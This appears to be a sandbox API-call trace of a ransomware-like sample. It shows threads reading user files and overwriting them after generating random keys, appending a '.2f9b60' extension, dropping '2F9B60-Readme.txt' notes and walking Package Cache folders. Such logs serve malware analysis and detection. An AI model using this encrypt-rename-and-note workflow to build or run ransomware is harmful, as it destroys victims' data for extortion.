[0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7890) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76e0) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0101.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7770) returned 1 [0101.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d530 [0101.564] wcscpy (in: _Dest=0x1cf4d530, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp" [0101.564] wcscat (in: _Dest=0x1cf4d530, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.2f9b60") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.2f9b60" [0101.564] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.2f9b60", NtPathName=0x1f92fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x2050b740 [0101.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b740) returned 1 [0101.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e3b0) returned 1 [0101.850] NtQueryInformationFile (in: FileHandle=0xd98, IoStatusBlock=0x1f92fe98, FileInformation=0x1f92fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f92fe98, FileInformation=0x1f92fea8) returned 0x0 [0101.850] NtSetInformationFile (FileHandle=0xd98, IoStatusBlock=0x1f92fe98, FileInformation=0x1f92fea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0102.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d530) returned 1 [0102.286] FlushFileBuffers (hFile=0xd98) returned 1 [0102.289] CloseHandle (hObject=0xd98) returned 1 [0102.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202afa00 [0102.772] wcscpy (in: _Dest=0x202afa00, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0102.772] wcscat (in: _Dest=0x202afa00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt" [0102.772] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\2f9b60-readme.txt")) returned 0xffffffff [0102.772] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17b4 [0106.905] WriteFile (in: hFile=0x17b4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1f92fd50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1f92fd50*=0xba9, lpOverlapped=0x0) returned 1 [0107.365] CloseHandle (hObject=0x17b4) returned 1 [0107.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afa00) returned 1 [0107.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79daf0) returned 1 Thread: id = 459 os_tid = 0x5bc [0091.419] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp")) returned 0x20 [0091.419] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0x20) returned 1 [0091.419] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd9c [0091.419] GetFileSizeEx (in: hFile=0xd9c, lpFileSize=0x2066fb20 | out: lpFileSize=0x2066fb20*=49208) returned 1 [0091.419] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0xc034, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.419] ReadFile (in: hFile=0xd9c, lpBuffer=0x2066faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2066fae8, lpOverlapped=0x0 | out: lpBuffer=0x2066faa0*, lpNumberOfBytesRead=0x2066fae8*=0x4, lpOverlapped=0x0) returned 1 [0091.420] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af00 [0091.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aea0 [0091.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.420] NtQuerySystemTime (in: CurrentTime=0x2066f9e0 | out: CurrentTime=0x2066f9e0*=132462176972734000) returned 0x0 [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x36d60140 [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x6fe48b67 [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x28930d6a [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x2858e00f [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x1d56dbcc [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x4ce3d16f [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x771db229 [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x65ebd98c [0091.420] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x5790f21d [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x7177e1a9 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x50f14d28 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x6b8c1eb0 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x2c214679 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x2a34d86e [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x5d3e8342 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x1d56dbcc [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x7b82fd86 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x574f5b25 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x5b528180 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x6d032f9b [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x7dbef104 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x12ee8797 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x14e4dd96 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x474ca1dd [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x300c0326 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x5a0481a4 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x635191e4 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x58c69359 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x5935673b [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x31e2470 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x482a7d57 [0091.421] RtlRandomEx (in: Seed=0x2066f9d0 | out: Seed=0x2066f9d0) returned 0x5c932042 [0091.429] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.429] ReadFile (in: hFile=0xd9c, lpBuffer=0x2017d170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2066fa40, lpOverlapped=0x0 | out: lpBuffer=0x2017d170*, lpNumberOfBytesRead=0x2066fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0091.429] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0091.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af00 [0091.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82af00) returned 1 [0091.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20180d80 [0091.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af00 [0091.430] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a8d0 [0091.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a8d0) returned 1 [0091.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.430] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0091.430] WriteFile (in: hFile=0xd9c, lpBuffer=0x20180d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2066fa40, lpOverlapped=0x0 | out: lpBuffer=0x20180d80*, lpNumberOfBytesWritten=0x2066fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0099.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20180d80) returned 1 [0099.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2017d170) returned 1 [0099.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202621b0 [0099.577] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0099.577] WriteFile (in: hFile=0xd9c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2066faf0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2066faf0*=0x102, lpOverlapped=0x0) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1695e0) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621e0) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262210) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621b0) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82af00) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aea0) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b560) returned 1 [0105.023] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0105.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a4920 [0105.023] wcscpy (in: _Dest=0x202a4920, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" [0105.023] wcscat (in: _Dest=0x202a4920, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.2f9b60") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.2f9b60" [0105.023] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.2f9b60", NtPathName=0x2066fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050d000 [0105.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d000) returned 1 [0105.655] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061d20) returned 1 [0105.655] NtQueryInformationFile (in: FileHandle=0xd9c, IoStatusBlock=0x2066fb78, FileInformation=0x2066fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2066fb78, FileInformation=0x2066fb88) returned 0x0 [0105.655] NtSetInformationFile (FileHandle=0xd9c, IoStatusBlock=0x2066fb78, FileInformation=0x2066fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4920) returned 1 [0105.656] FlushFileBuffers (hFile=0xd9c) returned 1 [0105.685] CloseHandle (hObject=0xd9c) returned 1 [0105.687] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4920 [0105.687] wcscpy (in: _Dest=0x202a4920, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0105.687] wcscat (in: _Dest=0x202a4920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt" [0105.687] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\2f9b60-readme.txt")) returned 0x2020 [0105.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4920) returned 1 [0105.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 Thread: id = 460 os_tid = 0xe38 [0091.439] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce111e0 [0091.439] wcscpy (in: _Dest=0x1ce111e0, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0091.439] wcscat (in: _Dest=0x1ce111e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\" [0091.439] wcscat (in: _Dest=0x1ce111e0, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*" [0091.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bdc0 [0091.440] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86910 [0091.440] wcscmp (_String1=".", _String2=".") returned 0 [0091.440] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.440] wcscmp (_String1="..", _String2=".") returned 1 [0091.440] wcscmp (_String1="..", _String2="..") returned 0 [0091.440] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0091.440] wcscmp (_String1="Patch", _String2=".") returned 1 [0091.440] wcscmp (_String1="Patch", _String2="..") returned 1 [0091.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106e80 [0091.440] wcscpy (in: _Dest=0x106e80, _Source="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0091.440] wcscat (in: _Dest=0x106e80, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\" [0091.440] wcscat (in: _Dest=0x106e80, _Source="Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0096.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd8c [0096.839] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0096.839] FindClose (in: hFindFile=0x1cd86910 | out: hFindFile=0x1cd86910) returned 1 [0096.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bdc0) returned 1 [0096.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce111e0) returned 1 [0096.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 Thread: id = 461 os_tid = 0xe3c [0091.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11290 [0091.441] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0091.441] wcscat (in: _Dest=0x1ce11290, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\" [0091.441] wcscat (in: _Dest=0x1ce11290, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" [0091.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bb50 [0091.441] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd866d0 [0091.441] wcscmp (_String1=".", _String2=".") returned 0 [0091.442] FindNextFileW (in: hFindFile=0x1cd866d0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.442] wcscmp (_String1="..", _String2=".") returned 1 [0091.442] wcscmp (_String1="..", _String2="..") returned 0 [0091.442] FindNextFileW (in: hFindFile=0x1cd866d0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0091.442] wcscmp (_String1="Patch", _String2=".") returned 1 [0091.442] wcscmp (_String1="Patch", _String2="..") returned 1 [0091.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106f40 [0091.442] wcscpy (in: _Dest=0x106f40, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0091.442] wcscat (in: _Dest=0x106f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\" [0091.442] wcscat (in: _Dest=0x106f40, _Source="Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0096.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x106f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0 [0096.841] FindNextFileW (in: hFindFile=0x1cd866d0, lpFindFileData=0x1cd9bb50 | out: lpFindFileData=0x1cd9bb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0096.841] FindClose (in: hFindFile=0x1cd866d0 | out: hFindFile=0x1cd866d0) returned 1 [0096.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bb50) returned 1 [0096.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11290) returned 1 [0096.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 Thread: id = 462 os_tid = 0x648 [0091.449] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x107000 [0091.449] wcscpy (in: _Dest=0x107000, _Source="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0091.449] wcscat (in: _Dest=0x107000, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0091.449] wcscat (in: _Dest=0x107000, _Source="*" | out: _Dest="C:\\ProgramData\\Package 